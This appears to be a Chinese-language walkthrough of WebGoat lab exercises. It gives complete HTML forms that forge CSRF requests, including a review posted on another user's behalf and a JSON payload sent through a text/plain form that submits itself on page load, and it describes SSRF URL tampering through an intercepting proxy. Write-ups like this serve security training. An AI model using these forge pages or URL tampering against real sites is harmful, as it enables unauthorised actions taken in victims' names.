一、Cross-Site Request Forgeries
1.Basic Get CSRF Exercise
根据题目提示说有隐藏表单,找到代码,右击form标签,复制->整个html
黏贴到编辑器上面并且补全html代码 和action指定的url,保存后修改后缀为html
<html>
<body>
<form accept-charset="UNKNOWN" id="basic-csrf-get" method="POST" name="form1" target="_blank" successcallback="" action="http://192.168.3.88:8080/WebGoat/csrf/basic-get-flag">
<input name="csrf" type="hidden" value="false">
<input type="submit" name="submit">
</form>
</body>
</html>
我这里为了方便没有用http,直接打开编写好的html文件提交,获得flag
2.Post a review on someone else’s behalf
这题和上一题的步骤也差不多
黏贴到编辑器上补齐,后改后缀名
<html>
<body>
<form class="attack-form" accept-charset="UNKNOWN" id="csrf-review" method="POST" name="review-form" successcallback="" action="http://192.168.3.88:8080/WebGoat/csrf/review">
<input class="form-control" id="reviewText" name="reviewText" placeholder="a" type="text">
<input class="form-control" id="reviewStars" name="stars" type="text">
<input type="hidden" name="validateReq" value="2aa14227b9a13d0bede0388a7fba9aa9">
<input type="submit" name="submit" value="Submit review">
</form>
</body>
</html>
打开后输入,提交。回到webgoat刷新一下,已经有新的评价出现
3.CSRF and content-type
这一题根据题目给出的提交表单进行构造html来提交表单。
而且提交的格式是xml,这里涉及到编码转化的问题,不过题目里面的here跳转的页面已经很好的帮我们解决这个问题,也就是添加一个属性
ENCTYPE="text/plain"
构造的html代码
<html>
<script>
window.onload = function() {
document.getElementById("submit").click();
}
</script>
<body>
<form class="attack-form" accept-charset="UNKNOWN" id="csrf-feedback" method="POST" preparedata="feedback" action="http://192.168.3.88:8080/WebGoat/csrf/feedback/message" contenttype="application/json" ENCTYPE="text/plain">
<input type="hidden" name='{"name": "WebGoat","email":"webgoat@webgoat.org","content":"WebGoat is the best!!' value='"}'>
<input id="submit" type="submit" value="Submit request" style="display:none"/>
</form>
</body>
</html>
二、Server-Side Request Forgery
1.Change the URL to display Jerry
设置代理抓包
url值里面的tom改成jerry,放包。即可过关
2.Change the URL to display the Interface Configuration with ifconfig.pro
让我们改成使用ifconfig.pro接口,我们直接访问ifconfig.pro看看这个接口的整个url。有url就简单了
直接抓包改url的值就可以了
也可以直接在浏览器上面该value值提交